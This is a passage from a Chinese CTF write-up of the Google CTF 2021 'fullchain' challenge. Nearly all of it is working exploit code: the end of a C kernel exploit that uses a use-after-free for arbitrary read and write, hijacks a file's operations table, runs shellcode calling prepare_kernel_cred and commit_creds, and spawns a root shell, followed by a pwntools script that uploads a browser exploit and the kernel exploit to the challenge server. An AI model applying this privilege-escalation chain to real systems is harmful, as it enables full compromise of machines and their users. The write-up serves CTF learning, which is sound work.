punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// ctf[1] -> fd[2]'s ctf_data</span>    <span class="token function">read</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>ctf<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>size <span class="token operator">!=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ctf_data</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"failed to setup uaf(1)\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">3</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>ctf<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>size <span class="token operator">!=</span> <span class="token number">2000</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"failed to setup uaf(2)\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">3</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">// search file whose private_data point to ctf[0].mem (fd[1]'s ctf_data.mem -> ctf[1])</span>    <span class="token class-name">uint64_t</span> start <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span> ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem <span class="token operator">&amp;</span> <span class="token number">0xfffffffff0000000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> target <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span> ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem<span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"from %p to %p search %lx\n"</span><span class="token punctuation">,</span> start<span class="token punctuation">,</span> start <span class="token operator">+</span> MEM_SCAN_SIZE<span class="token punctuation">,</span> target<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_read</span><span class="token punctuation">(</span>start<span class="token punctuation">,</span> buffer<span class="token punctuation">,</span> MEM_SCAN_SIZE<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">4</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token class-name">uint64_t</span> file_addr <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>size <span class="token operator">/</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>target <span class="token operator">==</span> buffer<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span>ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem<span class="token operator">+</span>i<span class="token operator">*</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0xc8</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// offset of file.private_data = 0xc8</span>            <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"found at %p\n"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span>ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem<span class="token operator">+</span>i<span class="token operator">*</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            file_addr <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span>ctf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem<span class="token operator">+</span>i<span class="token operator">*</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0xc8</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>file_addr <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">5</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"leak infomation\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_read</span><span class="token punctuation">(</span>file_addr<span class="token punctuation">,</span> buffer<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">6</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token class-name">uint64_t</span> vfsmount_ <span class="token operator">=</span> buffer<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token comment">// (struct file).f_path.mnt</span>    <span class="token class-name">uint64_t</span> fop <span class="token operator">=</span> buffer<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// (struct file).f_op</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"vfsmount = %p\n"</span><span class="token punctuation">,</span> vfsmount_<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"fop = %p\n"</span><span class="token punctuation">,</span> fop<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_read</span><span class="token punctuation">(</span>vfsmount_<span class="token punctuation">,</span> buffer<span class="token punctuation">,</span> <span class="token number">0x20</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">7</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token class-name">uint64_t</span> init_user_ns <span class="token operator">=</span> buffer<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// vfsmount_.mnt_userns</span>    <span class="token class-name">uint64_t</span> kernel_offset <span class="token operator">=</span> init_user_ns <span class="token operator">-</span> <span class="token number">0xffffffff8244c020</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"init_user_ns = %p\n"</span><span class="token punctuation">,</span> init_user_ns<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"save file's memory\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> save_file<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_read</span><span class="token punctuation">(</span>file_addr<span class="token punctuation">,</span> save_file<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>save_file<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">8</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span>buffer<span class="token punctuation">,</span> save_file<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>save_file<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"change file's fop\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> fake_fop <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span> ctf<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mem<span class="token punctuation">;</span>    buffer<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span> <span class="token operator">=</span> fake_fop<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_write</span><span class="token punctuation">(</span>file_addr<span class="token punctuation">,</span> buffer<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>save_file<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">9</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"set file's fop\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_read</span><span class="token punctuation">(</span>fop<span class="token punctuation">,</span> buffer<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token class-name">uint64_t</span> shellcode_addr <span class="token operator">=</span> file_addr <span class="token operator">+</span> <span class="token number">0x100</span><span class="token punctuation">;</span>    buffer<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> SET_MEMORY_X<span class="token punctuation">;</span> <span class="token comment">// read</span>    buffer<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> shellcode_addr<span class="token punctuation">;</span> <span class="token comment">// write (shellcode addr)</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_write</span><span class="token punctuation">(</span>fake_fop<span class="token punctuation">,</span> buffer<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">11</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"set file_addr executable\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">read</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"write shellcode\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> shellcode<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'\x48'</span><span class="token punctuation">,</span> <span class="token string">'\x31'</span><span class="token punctuation">,</span> <span class="token string">'\xff'</span><span class="token punctuation">,</span>                 <span class="token comment">// xor rdi, rdi</span>        <span class="token string">'\x48'</span><span class="token punctuation">,</span> <span class="token string">'\xbe'</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token comment">// movabs rsi, 0</span>        <span class="token string">'\xff'</span><span class="token punctuation">,</span> <span class="token string">'\xd6'</span><span class="token punctuation">,</span>                         <span class="token comment">// call rsi</span>        <span class="token string">'\x48'</span><span class="token punctuation">,</span> <span class="token string">'\xbe'</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token comment">// movabs rsi, 0</span>        <span class="token string">'\xff'</span><span class="token punctuation">,</span> <span class="token string">'\xd6'</span><span class="token punctuation">,</span>                         <span class="token comment">// call rsi</span>        <span class="token string">'\xc3'</span><span class="token punctuation">,</span>                                 <span class="token comment">// ret</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> pre <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> PREPARE_KERNEL_CRED<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> com <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> COMMIT_CREDS<span class="token punctuation">;</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>shellcode<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>pre<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>shellcode<span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>com<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_write</span><span class="token punctuation">(</span>shellcode_addr<span class="token punctuation">,</span> shellcode<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>shellcode<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">12</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"call shellcode\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">write</span><span class="token punctuation">(</span>fd<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"restore fop\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">arb_write</span><span class="token punctuation">(</span>file_addr<span class="token punctuation">,</span> save_file<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>save_file<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">13</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"pwn!\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><p>exp.py：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># python3</span><span class="token keyword">from</span> kctfpow <span class="token keyword">import</span> solve_challenge<span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">from</span> base64 <span class="token keyword">import</span> b64encode<span class="token keyword">def</span> <span class="token function">to_hex</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">:</span>    ret <span class="token operator">=</span> <span class="token string">''</span>    <span class="token keyword">if</span> <span class="token builtin">isinstance</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">for</span> ch <span class="token keyword">in</span> s<span class="token punctuation">:</span>            ch <span class="token operator">=</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span>            ret <span class="token operator">+=</span> <span class="token string">'\\x'</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">.</span>rjust<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">)</span>            <span class="token keyword">elif</span> <span class="token builtin">isinstance</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span> <span class="token builtin">bytes</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">for</span> ch <span class="token keyword">in</span> s<span class="token punctuation">:</span>            ret <span class="token operator">+=</span> <span class="token string">'\\x'</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">.</span>rjust<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token string">''</span>    <span class="token keyword">return</span> ret<span class="token keyword">def</span> <span class="token function">exec_cmd</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span><span class="token punctuation">:</span>    sh<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'$ '</span><span class="token punctuation">,</span> cmd<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">upload</span><span class="token punctuation">(</span>src<span class="token punctuation">,</span> dst<span class="token punctuation">,</span> block_size<span class="token operator">=</span><span class="token number">500</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    p <span class="token operator">=</span> log<span class="token punctuation">.</span>progress<span class="token punctuation">(</span><span class="token string">"Upload"</span><span class="token punctuation">)</span>        <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>src<span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> fd<span class="token punctuation">:</span>        data <span class="token operator">=</span> fd<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">,</span> block_size<span class="token punctuation">)</span><span class="token punctuation">:</span>        p<span class="token punctuation">.</span>status<span class="token punctuation">(</span><span class="token string">"%d / %d"</span> <span class="token operator">%</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        exec_cmd<span class="token punctuation">(</span><span class="token string">"echo -e -n '%s' >> %s"</span> <span class="token operator">%</span> <span class="token punctuation">(</span>to_hex<span class="token punctuation">(</span>data<span class="token punctuation">[</span>i<span class="token punctuation">:</span>i<span class="token operator">+</span>block_size<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> dst<span class="token punctuation">)</span><span class="token punctuation">)</span>        p<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token punctuation">)</span>sh <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">'fullchain.2021.ctfcompetition.com'</span><span class="token punctuation">,</span> <span class="token number">1337</span><span class="token punctuation">)</span><span class="token comment"># sh = process(['python3', 'run_qemu.py']) #, stdin=PTY, stdout=PTY)</span>sh<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">') solve '</span><span class="token punctuation">)</span>solve <span class="token operator">=</span> sh<span class="token punctuation">.</span>recvline<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>info<span class="token punctuation">(</span><span class="token string">'solve = &#123;&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>solve<span class="token punctuation">)</span><span class="token punctuation">)</span>solution <span class="token operator">=</span> solve_challenge<span class="token punctuation">(</span>solve<span class="token punctuation">)</span>sh<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'Solution? '</span><span class="token punctuation">,</span> solution<span class="token punctuation">)</span>sh<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'Correct\n'</span><span class="token punctuation">,</span> timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">)</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'exp.html'</span><span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> fd<span class="token punctuation">:</span>    data <span class="token operator">=</span> fd<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>html <span class="token operator">=</span> b64encode<span class="token punctuation">(</span>data<span class="token punctuation">)</span>sh<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">b'? '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>html<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># sh.interactive()</span><span class="token comment"># exit()</span>sh<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token string">b'Give me your exploit as base64!\n'</span><span class="token punctuation">,</span> html<span class="token punctuation">)</span><span class="token comment"># sh.send(html)</span>success<span class="token punctuation">(</span><span class="token string">'upload exp.html successfully!'</span><span class="token punctuation">)</span>exec_cmd<span class="token punctuation">(</span><span class="token string">'bash'</span><span class="token punctuation">)</span>success<span class="token punctuation">(</span><span class="token string">'exploit chrome successfully!'</span><span class="token punctuation">)</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'info'</span>upload<span class="token punctuation">(</span><span class="token string">'./exp'</span><span class="token punctuation">,</span> <span class="token string">'/tmp/exp'</span><span class="token punctuation">,</span> <span class="token number">800</span><span class="token punctuation">)</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span>exec_cmd<span class="token punctuation">(</span><span class="token string">'chmod +x /tmp/exp'</span><span class="token punctuation">)</span>exec_cmd<span class="token punctuation">(</span><span class="token string">'/tmp/exp'</span><span class="token punctuation">)</span>sh<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'# '</span><span class="token punctuation">)</span>success<span class="token punctuation">(</span><span class="token string">'get root!'</span><span class="token punctuation">)</span>sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>kctfpow: <a href="https://raw.githubusercontent.com/google/kctf/v1/docker-images/challenge/pow.py">https://raw.githubusercontent.com/google/kctf/v1/docker-images/challenge/pow.py</a></p><p><img src="/images/68622871/14.png" alt="get!"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这道题目还是挺有意思的，v8，sandbox-escape 以及 kernel pwn 各个点都比较入门，能学到东西</p><p>虽然简单，但就算当时去做，也未必做得出来，一方面网络及其不稳定，容易中途就崩了，另一方面可执行程序太大了，运行个 ROPgadget 或者 ropper 跑了几个小时了还没出来，不知道还能怎么找 gadget 了，再一方面还是可执行程序太大了，ida 打开卡死半天，搜索也卡半天，最后用 ghidra 来分析的</p><p><em>直到这篇文章发布，ropper 仍未运行完</em></p><h2 